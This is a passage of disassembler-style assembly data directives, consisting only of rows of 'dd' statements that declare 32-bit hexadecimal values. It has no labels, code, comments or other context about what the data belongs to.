		dd 453D22A2h, 0F8D4006Ch, 6433D8F6h, 810B8530h,	0C9132Ah
		dd 0BC7449E0h, 8F23Bh, 648056BDh, 11286DD4h, 2FB5F600h
		dd 0A6C7B93h, 4EE90008h, 0B11ECEC9h, 4D07E1FCh,	0F1D1577Fh
		dd 945CAE20h, 95830015h, 0A6AB1263h, 0B499A7C4h, 0EE01E702h
		dd 0B6494007h, 3CFB008Dh, 0A9273D34h, 1900CF94h, 0B9D60415h
		dd 0B4201Ch, 95EE604Dh,	2F78F68Ch, 91F1DF00h, 988525B6h
		dd 5B8900ECh, 0C3FC10Fh, 0DE007BDDh, 5EA3C431h,	4C3D23EDh
		dd 0D51F417Eh, 6D24C139h, 0F40D019Ch, 3F0BE93Bh, 0E1FF633Dh
		dd 0C3EBFD06h, 0CD7C059h, 0F9C50381h, 2629F358h, 4B6F5EE8h
		dd 6203707Dh, 0A4949CC7h, 0C096CB1Ah, 9DCB20h, 0B1D6DDE8h
		dd 6D214086h, 73658E00h, 9E52A511h, 0FB909Bh, 0FDC16E3Dh
		dd 0A6F0E4D4h, 879CE800h, 0A308615Fh, 894403BEh, 0EEB9D7F5h
		dd 0E1EA22A0h, 1237B001h, 0DF3887F8h, 72D549E4h, 0D3BF1D7Ah
		dd 2372C060h, 7ECD2114h, 77982500h, 0EE200912h,	0B545000Dh
		dd 4FDB9779h, 0ED003FE6h, 0AE956306h, 508AA9C4h, 0B26EF83Dh
		dd 87A3072Ch, 0C0A83710h, 0C868AB77h, 5232D00h,	0CD033624h
		dd 2C622867h, 83D000D8h, 0FAB2284Fh, 10001586h,	0D35D9435h
		dd 38AA54h, 0BFBCEBF9h,	84C26298h, 0E98CA300h, 4CFE59F7h
		dd 29B0065h, 61687301h,	4F7F3D3Ch, 2A82DD30h, 18892B2h
		dd 0C6AF9B91h, 8059B0BDh, 0E8E08621h, 78EB1768h, 0DEBC0014h
		dd 89BAA36Ah, 3F3FD931h, 0B9250163h, 3A19300Eh,	7C70860h
		dd 997B2E69h, 0E1152060h, 0F80F9B67h, 0D2FEDBh,	1FC7BEE4h
		dd 26CE004h, 0FFBC5F4Dh, 20409DB6h, 60984B09h, 0D8AE80C0h
		dd 0F010BD0Fh, 8A400133h, 0E86DCFBCh, 3B2080DEh, 0FCE59487h
		dd 2EF90092h, 10A4C704h, 0F1794B7Ch, 76CF0D03h,	0D029A2ABh
		dd 0A0EB66F3h, 48B90B82h, 0D0010C11h, 0D862815Dh, 9FBCFCDBh
		dd 6834190Eh, 1C00777Ch, 0FE75F5C5h, 0F89D0059h, 4525D332h
		dd 470564A7h, 0C2E3F1F6h, 7E3FE3C0h, 13570038h,	0E910B816h
		dd 6E3FB588h, 0B1A413F7h, 7EC4607h, 5AA6E290h, 5CF100C8h
		dd 0D919AE32h, 0CB00B208h, 25883D82h, 1CDBB6Fh,	2740A22Ah
		dd 207F63C3h, 4A777BB4h, 6A879F07h, 919090EBh, 772EBB97h
		dd 0C747001Ch, 0A0B7A3F5h, 2107013Dh, 0FE437ABCh, 0C00458D0h
		dd 38ABE0BAh, 7B0692C1h, 3ED0622Eh, 66F8D3F8h, 96B1EF00h
		dd 0E5D98CEh, 76DC00AFh
		dd 0FC3B951Bh, 0DD00B337h, 925E0111h, 3E4B22Ah,	531AD0BAh
		dd 14E836F9h, 0FD008131h, 0E83D2947h, 4C0BBEh, 0C82E37E7h
		dd 0C70FE00Dh, 0B0445000h, 2BB15283h, 0B8DE4821h, 22D6DA03h
		dd 0A2E8432Ch, 60E01ADh, 0A36BC464h, 98AEA72Fh,	3CDEB86h
		dd 0AFEA1620h, 0ABA09F32h, 360051E6h, 0D7DE6782h, 806E4BCh
		dd 0C95DC848h, 0A6A36200h, 0B7F95Fh, 4E0CB20Bh,	0D8F2E4E9h
		dd 0AC108217h, 0D2989843h, 0E69B40h, 7C5D7BB0h,	0C24A12F5h
		dd 670BA400h, 0F0610689h, 4EE70142h, 0E655D3D4h, 4550F027h
		dd 520BC896h, 0D06C93C0h, 0C37A8Ah, 0B4AE2AB6h,	7C12DEFBh
		dd 0B25E1C00h, 92B39F1Dh, 0BCEF00BBh, 6A75AB48h, 0C10058DFh
		dd 42E4F28Ah, 2A7411CAh, 0B09B8Eh, 18EC646Ah, 8846432Bh
		dd 0CC85102Eh, 0F1B29C47h, 6584C07Fh, 73A013CBh, 0E6148098h
		dd 0CE0040FFh, 0E1318724h, 2BD3D38h, 4EE45CDFh,	0C4603928h
		dd 0BF001374h, 9C29CA36h, 7FE4B0Ch, 0E7B4B0FDh,	485C8045h
		dd 6501B8A2h, 0CF64788Bh, 0D2D04022h, 0DB4C005Bh, 0CAF6E8D3h
		dd 0A209A1BFh, 8056E47Ch, 64966257h, 0B84BF4F2h, 0A71600D8h
		dd 3265AE23h, 3300D5B6h, 153DF450h, 7C08228Ch, 0E4EF6B5h
		dd 0F5314486h, 6607ED20h, 4EC13D54h, 3F5D8FD2h,	0B3D0E1F5h
		dd 0F2CD0B2Fh, 0AC00C838h, 0E01707DDh, 86875E00h, 0F01FA63h
		dd 0ACF8954Ah, 25F3DF00h, 5CEF4FAFh, 36D7001Eh,	0E09C6E02h
		dd 240091A1h, 90657E74h, 0B1CE578h, 0AF5D6126h,	546AAC00h
		dd 10010C1h, 0D5F05B8Ah, 4BA1D7h, 0CBE4BBCCh, 27751BDDh
		dd 26D8FA00h, 8B233195h, 0BC940Fh, 6B32679Dh, 5100CF11h
		dd 0B19141DCh, 315490h,	0E7DAFC0Eh, 9FBE7DDDh, 0D1EC3013h
		dd 0A0FB4C60h, 550E00AEh, 0A1D49BABh, 3950BF5Ah, 20004CF0h
		dd 577D1287h, 0C0F3AA46h, 0B8D2EC86h, 4E006CB1h, 9C01B4B7h
		dd 0ABAF26h, 5D4CA70Bh,	1329999Ah, 0BE030376h, 0CAC23EE5h
		dd 161CF0EEh, 79F803FDh, 0B281BC88h, 0DDDC3097h, 9C38FB5Dh
		dd 0A89580B5h, 0FBA19FEh, 0A00D4BC3h, 0B6009451h, 6BF35E97h
		dd 768788h, 1D0C1117h, 9BF67C3h, 0E819D817h, 6015684Fh
		dd 861F7EFEh, 6F230333h, 76B231FDh, 0F0588BBAh,	98D2803Ch
		dd 68808934h, 0E7063D9Ah, 0F7EA1280h, 0F9FA903Dh, 65964F0Fh
		dd 0AFD48015h, 0D99920h, 0D124CDA4h, 292A896Fh,	5E566903h
		dd 0E8024D94h, 125274A5h, 0EC3EEEh, 162FA279h, 9974A1E5h
		dd 0CE325600h, 513395C5h, 0F9A8018Ah, 0F422BE6Dh, 0D1342094h
		dd 0D4A75000h, 3D75C5ACh, 0E27304D5h, 80E5EAE1h, 0A40C4B00h
		dd 0B22F1B00h, 0A7DB3241h, 5A060059h, 0D63D933Eh, 0AF4C4882h
		dd 0F7FF0030h, 7B727507h, 67BD3C9Bh, 0A1AE4C80h, 0DDC3E73Ch
		dd 0DE7DF500h, 48A20C50h, 0BA9D0039h, 72D0A940h, 0A0031D81h
		dd 0F614BF89h, 0F9B288ADh, 0A8CF6057h, 99DC9A05h, 0DE017C9Ah
		dd 0C1B7E8BCh, 37E443E5h, 2CD00D4h, 45EFF663h, 0D5F084BEh
		dd 3A843CFDh, 0E8C6937Ch, 29BC00AFh, 70D9DFBBh,	0F2138890h
		dd 78207958h, 0F91B54h,	75FCD091h, 62608CE4h, 7A3438E1h
		dd 22E347Eh, 0B0021089h, 68A76D1Ah, 4C7A4ED8h, 0D11A4CDh
		dd 0C03A72E3h, 0F551003Eh, 427AE0D3h, 398E18D6h, 0C26D50A5h
		dd 0FDCBFC00h, 1048D22Fh, 99200E0h, 19AF389Eh, 7118124Ch
		dd 4EF0E216h, 94080C1Dh, 0BBEE9C49h, 5D123217h,	1656AC00h
		dd 5E19EDh, 6141E0AAh, 0ABDC6B24h, 8FAFBE3Ch, 818AEAE3h
		dd 0E8D60B20h, 0B750A080h, 0E7DB2D59h, 89B59F0Ch, 0B05E93Bh
		dd 0E0A8AD6Eh, 0AFE5C700h, 731FF453h, 39C05861h, 7D4C1BEAh
		dd 5A550033h, 68D35211h, 700E443Bh, 0C093DCC1h,	2482B85Bh
		dd 0CC09000Ah, 0E733D9ACh, 0D4133EFDh, 6AEA926h, 1035BC56h
		dd 8DEC6900h, 979C37A7h, 31EF009Dh, 4777993Dh, 7C0093B0h
		dd 0A4AAE1C1h, 30F371B5h, 338364Fh, 543080A2h, 7538A2B9h
		dd 8BE4DAh, 0CAC01F5h, 7C1CDB1Fh, 2532110Ch, 564A09Ah
		dd 1D6AE8FAh, 16D8160Ch, 0FB4897A4h, 0B7FE7C16h, 5B8FE100h
		dd 0CB5CE63h, 64B0C9h, 3F58FAEEh, 4FA8E5C2h, 0B00070B4h
		dd 20DCC616h, 0D9B8A163h, 0D8010CF5h, 0B0606218h, 0B6E0E9h
		dd 2E231DFEh, 4632F6B0h, 0D283E813h, 807D40C0h,	0AD00077h
		dd 0CB1B45AEh, 63921B9h, 89A280A6h, 0B274FE03h,	0A1981CB4h
		dd 0A06740EAh, 0A2152FDh, 6F18A407h, 713048A3h,	0E8BB7E0h
		dd 83AC3C40h, 511DEE0h,	39001BDAh, 61705F67h, 1E665345h
		dd 40A1FFD1h, 867F20B6h, 67013E4Ah, 6E04152Dh, 0F9C4C27Ch
		dd 0AB640034h, 98BFE394h, 3F03F413h, 0B15FAF18h, 5623B845h
		dd 85C50E83h, 1F7FA3h, 96FD010Ah, 3B7EBB7Bh, 0FB103Ch
		dd 0C1D01CE1h, 22B272h,	5621F1CCh, 10EAF840h, 5A7B6D00h
		dd 0E8C0B34Ah, 0B176002Dh, 0AD333964h, 6300AA45h, 0CB12E99Ch
		dd 66AB67h, 3A2BE40Dh, 429536B7h, 0FF2F7600h, 0E70CEB25h
		dd 56A7001Fh, 5954CFF5h, 0AA00B703h, 8F4212Ch, 0A36E5Ch
		dd 0ADEDFE29h, 3130A9DCh, 80D77D3Ch, 54351042h,	25344ABCh
		dd 17D42582h, 0FC451100h, 1E6093h, 9BBB631Ch, 14C6477Ch
		dd 7600747Fh, 0C8E9F23Eh, 623B60h, 0E8F15B99h, 9FCB6FC3h
		dd 2B0FED78h, 0A0B025DBh, 0B2D48ADh, 84FAA05Dh,	0BF0200CFh
		dd 3E3BBD0Ah, 4D03E5CEh, 365110F2h, 4E79A0A6h, 0FDEE6Bh
		dd 0F9670CC0h, 24B4AB96h, 0BA9B711Dh, 187D2640h, 0EC1C33h
		dd 7355F8C4h, 0C50695B0h, 8FD42F00h, 83CF8751h,	0A7F8CF54h
		dd 4D1E5D60h, 0DA05E90Eh, 27BCBD6Fh, 0EA42FB80h, 1892F2AAh
		dd 8816FBE4h, 0DCA2C798h, 3CFF5B80h, 0DDFEE0FAh, 67327900h
		dd 6C8CDE6Ah, 0F9C100DAh, 3AF4895Ch, 0B3003529h, 0FBEED938h
		dd 0FE732369h, 0C7A00FA1h, 71021A5Eh, 0DCA0FED6h, 1FC0B06Fh
		dd 0AB738201h, 84324477h, 1BB9C050h, 5D9100BDh,	9AC8DE3Eh
		dd 5F78C6AAh, 0D70008FEh, 8CC0E9C2h, 0AB2E12h, 5114FE95h
		dd 15C7666Fh, 0FA924706h, 0F05FEAh, 0AF077641h,	3E597203h
		dd 1C45BF00h, 27664F46h, 0E21D0077h, 631B81ACh,	10001F6Fh
		dd 0CE7FB590h, 854838h,	0C651FB37h, 924E58A2h, 20BD6903h
		dd 0F03429A5h, 662A8h, 0F07E9E56h, 24C43B09h, 2B05977Ah
		dd 0D50E05A4h, 0FF25D000h, 12194Ah, 0C932B50Fh,	270721D6h
		dd 0D8745100h, 8EDB040Dh, 9F750140h, 21CC3A0Ah,	0E8BDEC6Fh
		dd 20005E2h, 11FC1662h,	0D24F54h, 5AEFE93Bh, 0CD7464D6h
		dd 80E75238h, 4394F502h, 0AC3D06h, 0EA7ACF30h, 799A9FD5h
		dd 0C12E420Fh, 0EFA4810Ah, 0F1E8BAA0h, 3A280A23h, 20CCC0F8h
		dd 773200A5h, 53421CD4h, 0C503D798h, 0CEA0797Ch, 0BD0BD82Bh
		dd 1C7F680h, 0C01FACD0h, 0E417515Ch, 140005B1h,	45C35948h
		dd 0C23755h, 6F1B08ABh,	0D04B784Fh, 0A87C6C12h,	0C3D95000h
		dd 493074DFh, 0F8031456h, 7638E3A7h, 1CE866C8h,	0EAF2C200h
		dd 582F95C3h, 91050013h, 626ABDD5h, 0D813081Fh,	9F00867Dh
		dd 74EF55EAh, 0E55F0029h, 46844DE8h, 3DE6C811h,	7DB14503h
		dd 0E8A97391h, 16D7C1h,	5826F15Dh, 6BE6D8A7h, 51004BEAh
		dd 0F794E290h, 0D34397h, 4274108Fh, 0D95D6107h,	8092AE38h
		dd 267755E8h, 7F073DAh,	8011F5B6h, 9094F797h, 128F162Dh
		dd 9A7EE800h, 6EC8AB6Bh, 60C4F0F0h, 1C3F11AFh, 280E4930h
		dd 60545BB6h, 974DCD6Eh, 2D951C12h, 14B3007Ah, 73991917h
		dd 656C4500h, 0D81C0BF5h
		dd 591D01E2h, 24B7FF81h, 3617F070h, 38FB7109h, 4D56005Ah
		dd 202CB6h, 0BB55EBAEh,	12576FF8h, 9E499603h, 0C0FB3F7Bh
		dd 0E6FF2BADh, 0F2BA1FC8h, 0C6F7479Bh, 71A680AEh, 6F00CD17h
		dd 56B82B2Eh, 0FCF4B112h, 23DC3997h, 102D7681h,	0C8D2BDA7h
		dd 38C04E66h, 0CA3A691Ch, 1977182Bh, 0DADBCB4h,	5CE61300h
		dd 0EAAB6685h, 0ACE45063h, 0C0B2F22Dh, 0BC0F0580h, 2C3CA798h
		dd 15386081h, 69575BFh,	3CCBA6CAh, 210807Dh, 92142726h
		dd 428088F6h, 0ABB51966h, 8073463Bh, 68A1D4C1h,	1CD57433h
		dd 1C6C20Bh, 955A39CFh,	2E82C05Ch, 0F17AA50Bh, 0E5A6C1ADh
		dd 0F71AD20h, 16BC2C12h, 8B7FE3A1h, 32C0E6B8h, 660093B6h
		dd 0C5CB27C6h, 3F7AB5A8h, 0D70FFD8Eh, 0E074439Fh, 7B837639h
		dd 0FE80597Ch, 0F0FB1BF9h, 7F00CAE8h, 867ED2ABh, 51B624h
		dd 8149AEDCh, 0D9053F85h, 7F639100h, 0D7E65C4Ch, 0BAC3008Bh
		dd 28E260E4h, 0DF00734Ah, 86B50616h, 0F9632Dh, 14EBF25Fh
		dd 0FFD0048Fh, 100BF124h, 0F9551E60h, 298D1F36h, 9130C012h
		dd 0BF742A1Fh, 0A806FB72h, 4FC8C56Ah, 0D7C701B9h, 1DAFD219h
		dd 0B9B63081h, 2F4E351Ch, 672DB680h, 59B8BFh, 0F499D818h
		dd 0CDAAADACh, 115AC100h, 0CF63E649h, 67EC61h, 59FC7AD4h
		dd 2A52257Eh, 0C4394E00h, 0B7F54C71h, 38DFCD1h,	3151EE85h
		dd 0B2D8257Ch, 1400CD29h, 0A2CC109Dh, 1F1141h, 1B666D9h
		dd 0F2337C0h, 250085EEh, 33A0DD38h, 1A429B8h, 1C2E8104h
		dd 0D443BBF9h, 5B00E3B3h, 0C878C95Eh, 3028AE0Dh, 0CC988398h
		dd 0DC004901h, 0BE860712h, 90154054h, 1FC100BCh, 0F9E4165Dh
		dd 4F0058E6h, 23EDEA73h, 9DA2C4h, 0E7A8B076h, 0C0EC685Fh
		dd 0F3527D00h, 0A4B969F6h, 55A03BC7h, 909E7DCh,	4024EF0h
		dd 904814B7h, 503CA24Ch, 0DC1C00CBh, 0D82D2482h, 38100A3h
		dd 288EE0D0h, 6205FDAFh, 1E83909Dh, 80328840h, 79DEC061h
		dd 0C4A0078h, 0FC536A88h, 8A30D095h, 97A6D955h,	7299E2DAh
		dd 25162AAFh, 0EA1201D8h, 0D67607ACh, 8CD04085h, 77779626h
		dd 5818B300h, 8B2F7D12h, 0E6FC0587h, 0C0909C8Fh, 0D9A3DAB5h
		dd 2EFADE01h, 766BF318h, 1F129447h, 0B8A44817h,	15BA0794h
		dd 7B6B2254h, 0BDA7200Eh, 4344F059h, 7A00CD87h,	0EBD5960Eh
		dd 48A109ABh, 0EA3E6486h, 0DDEF6080h, 68A21836h, 80063E8h
		dd 801D2B1Eh, 478A71h, 85CDA31Ah, 0E792966Eh, 551F4400h
		dd 7FA0E914h, 7560016Ch, 0C4C315EFh, 9F1C607Bh,	0B886FC03h
		dd 0B072F6CBh, 753E42Ch, 736D6E29h, 0E3ACD00Ah,	0FD0E09EEh
		dd 278634E2h, 3AE0B777h, 2F49353h, 50E894C0h, 8F801384h
		dd 0F3D0708Bh, 0BE54CD07h, 44707FBBh, 0F8085315h, 6527004Eh
		dd 3CDDF2D7h, 4300B6CBh, 108009B7h, 0F8FDF5C8h,	0B2AC00D1h
		dd 3BEA68E8h, 96007C9Eh, 0B94EBB86h, 5CAACD75h,	0BF0061F2h
		dd 8BB1621Dh, 0F00EF4Ah, 0DDC7B692h, 0E77978h, 0E9274D2Dh
		dd 0BAB9DF67h, 6001B839h, 8AE31B20h, 0D3740079h, 75C8F505h
		dd 0FB7ABA40h, 0F6A2B900h, 0AA722534h, 0D92700ADh, 4648EC6Fh
		dd 4F001851h, 3F5DF70Eh, 582E68h, 504284EDh, 24C7958Dh
		dd 0D38D598h, 9A00FF2Dh, 8B87C833h, 0A546F0h, 0A65E04C5h
		dd 0F3DBABB3h, 37E1C300h, 818A7ADEh, 0ACF700A1h, 26A94311h
		dd 9200B1E8h, 0B25EFFCBh, 0E3D6B09h, 0CE9ACFEEh, 0FA60AD2Fh
		dd 0A4A06AB5h, 7CA6D200h, 3B7D01D1h, 0E444077Bh, 50AA1407h
		dd 5CDAE8B1h, 0C4010871h, 75EF46B9h, 24C00F8Dh,	525800B7h
		dd 0FA5D6955h, 0F2006307h, 9DEAEF82h, 171DD9Ch,	5E15CF42h
		dd 0D0138A17h, 41003138h, 677DEB0Ch, 5B8027h, 0BE33A92Dh
		dd 23BCB8A1h, 84DCF001h, 5C7942C0h, 7B7D4h, 6D91B059h
		dd 36F8CDA4h, 0C692BE00h, 7AE1DA3Ch, 0E255E6B7h, 4F0E48B6h
		dd 4FBEA900h, 7D8AAA8Fh, 20C0B8E0h, 51DB32B5h, 484924F2h
		dd 52580D8h, 0FF1FEF47h, 0B3453500h, 0F1427C8h,	8CDA0016h
		dd 7F0281DBh, 7400B6C3h, 0DF7740A6h, 654FCA7h, 480E1C7Dh
		dd 4F98816Ah, 41B0E307h, 90611124h, 5AF01B96h, 881C019Fh
		dd 0CC63D6DDh, 0F2E02078h, 0C2F9BA03h, 984C2641h, 32FFC4Bh
		dd 24088E3Eh, 83E892CDh, 81032EACh, 0EF1FCA4Ch,	2973E023h
		dd 92520015h, 98BFD534h, 0DF7865E3h, 0BD896C00h, 0F49C2643h
		dd 58711706h, 52A6039Fh, 0E3A8D2B5h, 7000CD93h,	3A8BE923h
		dd 5E019Bh, 0DDF4F587h,	9A92E8E1h, 33CC8400h, 0A2370D19h
		dd 6CD44CE3h, 0BBB2C200h, 612F8023h, 5C46F60Eh,	509AC07Eh
		dd 30CEEA1h, 0B1C65FD5h, 3EB9E799h, 0AAA8C865h,	0DCB09703h
		dd 0B0DD4B9Dh, 4C1F2ACDh, 0EE003AEBh, 0B34C8BC7h, 1998439Bh
		dd 0ED522700h, 0DCFE0C69h, 1C5101F5h, 6EB5D637h, 0B639F00Dh
		dd 0DE9EAA00h, 0ABC7563h, 79B43911h, 10715C80h,	0F797A261h
		dd 0D7035600h, 993A0CEh, 0D8C21F3Ch, 2980FCE0h,	0F94D9B2Eh
		dd 150191EDh, 0A3C1FDC5h, 7DF4C8E3h, 0D7633h, 1D4CBED3h
		dd 0BFABD9FEh, 0F3748700h, 1055586Ch, 0EA14C02Ah, 4D570B61h
		dd 292E7914h, 2C6B00C8h, 0FDAC5A20h, 16C40005h,	4F1106D0h
		dd 0CE009150h, 0F502D59Dh, 763F7C6Bh, 218F068Bh, 204F1FDDh
		dd 0B440BB00h, 0E8899EBCh, 0C4E4E9h, 63FF6133h,	858C6720h
		dd 0CA524C03h, 0C8D71992h, 5DE59Dh, 0D5D88DA8h,	53E35AEEh
		dd 49507878h, 41E921F8h, 0E9A05EACh, 48C8EC76h,	89FC1AF2h
		dd 0C0006E73h, 8CAA16C3h, 6F4363BAh, 1E6010ECh,	77FBD146h
		dd 700015F4h, 0D3E4C79Bh, 4E5C1F72h, 4FC50C76h,	0FC3A8A20h
		dd 0E6B90928h, 5AC58780h, 4F3958E1h, 7C6184F8h,	96E1377h
		dd 0F4B40FECh, 8120792Fh, 7B191F9Ah, 173DBC03h,	807ABEA1h
		dd 574E44h, 0F96AAC4Ah,	35CD5E3Fh, 0BDAACC01h, 0D5EC1C65h
		dd 98C9E6C8h, 0AE0900ACh, 0E8DE354Dh, 2D120B82h, 0A6033D1Bh
		dd 9821DA6Eh, 1D9C6D6h,	7C6FE42Ah, 8079026Ah, 0B19C0E60h
		dd 72924EFh, 0FF3F43EBh, 0FFDB0CDh, 0AF715F5Ah,	27A0AB5Eh
		dd 0A33901FAh, 9CBDD2AAh, 1EEBECF2h, 5101B8FCh,	5A6A25D3h
		dd 0DEE83807h, 938F0054h, 1A65AA4Ah, 0C600E1D1h, 0FDC44B3Eh
		dd 0B3586Eh, 2DD7E653h,	60198288h, 0AFC87200h, 0A2139C5Bh
		dd 0F51C003Ch, 3B6C6BC3h, 870017A8h, 349958B0h,	3EE6B5BAh
		dd 0D880A5E1h, 74A6C80h, 600DAB7h, 0B896CEF7h, 0FE9379h
		dd 8E190203h, 42A14580h, 0CF491200h, 0F3C9EE4Ch, 5911166Eh
		dd 0D1B70E40h, 5C6785A1h, 61B1401Fh, 5D00822Ch,	3971EBC9h
		dd 0C56A1BCh, 1EC16BC5h, 980E1D10h, 60B03F8Ah, 0D7BED509h
		dd 0B2750041h, 6F76E981h, 0F00066A6h, 0A0E4A704h, 0FFC611Fh
		dd 0C478157Dh, 0E7206DC3h, 2016E091h, 0CC071C14h, 0A353D268h
		dd 0CA5CB180h, 96C700B5h, 0F1FA98C8h, 16034EBDh, 666003BCh
		dd 6AF4B047h, 0DE0A3AC0h, 99337500h, 453489FFh,	6F4F1400h
		dd 0CAB9A1D2h, 12A400C0h, 41F8A964h, 6600E360h,	0B47D6B24h
		dd 0A7145Ah, 40AF5928h,	496D8E8Ah, 0B8AA6C00h, 6B1225A8h
		dd 53C7007Bh, 0DAA04EF1h, 0D000CF87h, 0CA27178Ch, 0F9E467h
		dd 0D846BF0Bh, 0A0702D56h, 1806A800h, 6E7C7D1Bh, 0A59A0423h
		dd 80C821CEh, 0B049251Ch, 67B0771h, 0D200197Bh,	54B2F4F8h
		dd 3F4AF2BCh, 0FB00ED04h, 37F6A00Dh, 84025727h,	0C467225Fh
		dd 118A60B0h, 0DA6800E1h, 0B93DAA1Eh, 0E600F6FDh, 1593876Eh
		dd 2D29Dh, 8198834Fh
		dd 0DB3D53BEh, 491C0A01h, 0BB01D358h, 0D5F97CE5h, 0AC1420h
		dd 48636633h, 13C6970Ah, 0EAFC9A0Ah, 843DE8CEh,	0F44B92B3h
		dd 7ED29280h, 3B49F6DAh, 0C30013FCh, 904FF779h,	0E101DCBBh
		dd 145564E4h, 0BFD06F0Eh, 585A2417h, 692C0178h,	0E2DF0D04h
		dd 0AC4797E0h, 20579A00h, 6D25EE6Fh, 6B7B0033h,	377395EAh
		dd 0C9000D3Ch, 0DD0540FAh, 7CDE8314h, 689D00EDh, 2F46B6B8h
		dd 0B43F16D6h, 0B9649C2Dh, 380A0A26h, 900F6B3h,	1DFE2C32h
		dd 28400047h, 83849EE9h, 4D00D172h, 7E1E6F9Bh, 0EA53734Ah
		dd 492A002Eh, 68A3C5BEh, 2B769324h, 0C07CF000h,	0D62D0F3Ah
		dd 6C2300E4h, 0B972B01Eh, 0E500380Eh, 93F88163h, 0BD4F33h
		dd 9B60AE06h, 0AB56B383h, 1D6F141Eh, 0AF2DB41h,	782427CCh
		dd 0A4528094h, 69F0870Ah, 0F200DB8Ah, 0C404FAE2h, 3D01F4B4h
		dd 0A70008F9h, 0FFEF9203h, 0F325A6CEh, 0C7F26016h, 99E20321h
		dd 7AE9D620h, 54EF6EA0h, 6EEE81Ch, 48DC3700h, 0D0B343h
		dd 0D1395786h, 13A46881h, 0B9117C60h, 12349CECh, 465C0BADh
		dd 8F38210h, 0D0733901h, 0D13488EAh, 0C79A4D0h,	0AF53AB33h
		dd 5F03DB38h, 1FD9D0EFh, 0F8E7994Dh, 0B1FAA310h, 905D0B00h
		dd 0D1FFADFEh, 0C83B04FDh, 1D4E04Ch, 541C580Ch,	0F2CC81C0h
		dd 5CAE28F8h, 0E7BE180Ch, 37D49155h, 0E546A00h,	3D29B081h
		dd 8B7A0071h, 4FD22695h, 0E600FCD4h, 0EE6A9A37h, 0F4612047h
		dd 87E901A1h, 0FAC34BB1h, 4D9FF832h, 1DB4F500h,	23F6FF5Eh
		dd 0BB563FBDh, 0F9B797h, 4550D089h, 81E246EFh, 19B9D600h
		dd 3C696117h, 38921776h, 21790026h, 0C84ED31Dh,	42033000h
		dd 537F89DAh, 0B8F600EEh, 6ED95594h, 6B00B1FEh,	623B50ECh
		dd 8071F0h, 604A7430h, 97651A0Eh, 5C4ED200h, 7990F6EAh
		dd 0F637CF8h, 0F059E6B4h, 0A2BADBC1h, 2236C4B5h, 0F860B800h
		dd 0D565E8CBh, 84D414D6h, 97ACD9Eh, 37525168h, 2892A880h
		dd 2D543A97h, 4A539A0h,	43D00E62h, 8794E05Bh, 0F3330116h
		dd 7AE34806h, 6F5AF80Ch, 0E009DB0h, 3AC105B9h, 0C41FC594h
		dd 42C6E429h, 1F2AA37h,	0C0D6EDh, 8134635Fh, 0A52841F0h
		dd 21299091h, 32CF4082h, 21C70C02h, 1744C92h, 788004D5h
		dd 7E51BAB5h, 0CE00C9FEh, 1F42E0A7h, 0C0C276h, 0F65DDE8h
		dd 28BF5D3Ah, 9C471500h, 0AF04BCF5h, 515900CAh,	0DA8C5B07h
		dd 5000DF7Fh, 0C9E4E03Dh, 3B704505h, 0BFEB4EDh,	378DC27Ch
		dd 961F080h, 453C1988h,	128305CDh, 0CB80B5AFh, 4981F7h
		dd 2C6DBD4h, 0D396B8ECh, 0F675980Eh, 4F89E00Ch,	709BD2h
		dd 57C569Ah, 0A284EE43h, 0C1F57F03h, 0E8C9AFB4h, 5C9BE32Eh
		dd 400BE4Fh, 50606F80h,	0DD3CCBA6h, 54FB003Dh, 48BC5384h
		dd 57B002Ch, 5F214061h,	0E6987FF4h, 63119D00h, 62281C88h
		dd 90FA09B1h, 0F40F6E1Bh, 0DCD6B40h, 9700151Eh,	3A1FF56Ch
		dd 0D46D53h, 0F2BE9F8Fh, 0B824D805h, 8E0B123Eh,	4B4F98h
		dd 771AED3Fh, 4ECF0093h, 0B666B3B1h, 0FB06880Bh, 56B0DE90h
		dd 1D8E7360h, 4E6FEA96h, 514317F2h, 0B08F1161h,	0A866B99Ch
		dd 0D0A1BA00h, 860A5D3Fh, 0F5EB07D7h, 0CFDE0257h, 2D554B63h
		dd 0AAE24488h, 0F3EA9000h, 871F48F2h, 670AC073h, 225135C7h
		dd 8061963Ah, 33E759D3h, 7D458F93h, 7F3101E1h, 0B8113882h
		dd 0D001E0A3h, 0B1E7CE00h, 2DA84310h, 381FC0Ch,	0D79047F6h
		dd 0B4E89ADBh, 403F220Fh, 0AC440049h, 0D153D406h, 0B3CB00A4h
		dd 0B97DE64h, 0E0B8E550h, 830AC639h, 54D38C66h,	0E6DBD0FCh
		dd 345C0055h, 0A7594603h, 0E500608Ah, 0F7F19830h, 0FE7F0Eh
		dd 57CEBE99h, 0CFEB3307h, 2F545E12h, 4385D800h,	7F1B6CCh
		dd 9C3D3C7Fh, 172280C1h, 0DF002815h, 458E2A4Ch,	558452h
		dd 44760BB9h, 0C8B39AA0h, 0C91F8D00h, 0ACB70D75h, 1DA1FC4Eh
		dd 82FAB0B1h, 72B2A82Fh, 0C05C9F41h, 135016C0h,	93007CA4h
		dd 700C9A12h, 72228244h, 0C12000A6h, 0B165F485h, 0B027BEEh
		dd 9DF6172Bh, 8FB08116h, 3DEC6C54h, 0A1420155h,	6507B279h
		dd 0E8086168h, 2C3393A2h, 0C823198Fh, 4C9F989h,	0EC51CECCh
		dd 0E00CB05Eh, 9D31158h, 383A8497h, 958C1Ch, 0FDB7581Dh
		dd 0B1BCF0FCh, 6C7C2A1Fh, 0EADF80FCh, 65488D61h, 0B0BFE278h
		dd 0FC42009Bh, 19494AF3h, 0A30009C5h, 0F1998AD9h, 0A069EE66h
		dd 0D11AAEh, 4C0FBC84h,	9C6320A0h, 89924100h, 234D6644h
		dd 0DF6B0031h, 1E0ED410h, 7C007626h, 0F8354EEh,	0E857F14h
		dd 53A40107h, 0FD34C0FCh, 4FC4E338h, 15BB4501h,	0ACDD2C02h
		dd 0BF04A28Eh, 9BAC0EF3h, 745C7DA0h, 0ED072603h, 0C9A86E36h
		dd 0D3B413B0h, 0B77E0014h, 0E2D1578Fh, 100E58Eh, 6EE3D24Bh
		dd 0CCC4FCh, 0EA1F5ACDh, 0F262F74Ch, 0BF50D700h, 79A54007h
		dd 0FFC50A16h, 398B9FAh, 0E04C646h, 0BA143107h,	0AE10B102h
		dd 72B88D24h, 2728C086h, 1185599Fh, 0C03B52h, 0B89D4BCEh
		dd 133965C1h, 0EFBEB5h,	0C2563157h, 0EA00B678h,	954807C3h
		dd 0A78408h, 505FDD5Eh,	634D6279h, 9EEA4A00h, 314F4E3Ah
		dd 88BF0202h, 113D7D4h,	3DCB1860h, 4817B88Bh, 0CEB24C87h
		dd 0EE307200h, 49E39242h, 0C1364C00h, 0F24AF4DFh, 30E0024h
